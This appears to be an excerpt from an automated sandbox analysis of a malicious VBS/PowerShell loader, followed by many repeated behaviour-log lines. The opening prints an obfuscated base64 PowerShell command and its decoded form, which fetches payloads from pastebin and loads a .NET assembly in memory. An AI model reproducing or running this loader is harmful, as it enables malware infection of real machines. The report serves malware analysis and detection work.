'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jdbfk = '0' ;$evomn = 'C:\Users\user\Desktop\asegurar.vbs' ;[Byte[]] $dtveb = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dtveb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/f2krR/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'Roda' ));"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

8_2_0041CBE1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B9811ED pushad ; ret	1_2_00007FFD9B981232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B97113D pushad ; ret	3_2_00007FFD9B971192
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B97DC93 push ebx; retf	3_2_00007FFD9B97DCBA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B97DCC2 push ebx; retf	3_2_00007FFD9B97DCBA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B9B11A3 pushad ; ret	6_2_00007FFD9B9B11B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00457186 push ecx; ret	8_2_00457199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041C7F3 push eax; retf	8_2_0041C7FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00457AA8 push eax; ret	8_2_00457AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00434EB6 push ecx; ret	8_2_00434EC9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00406EEB ShellExecuteW,URLDownloadToFileW,

8_2_00406EEB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

8_2_0041AADB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

8_2_0041CBE1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
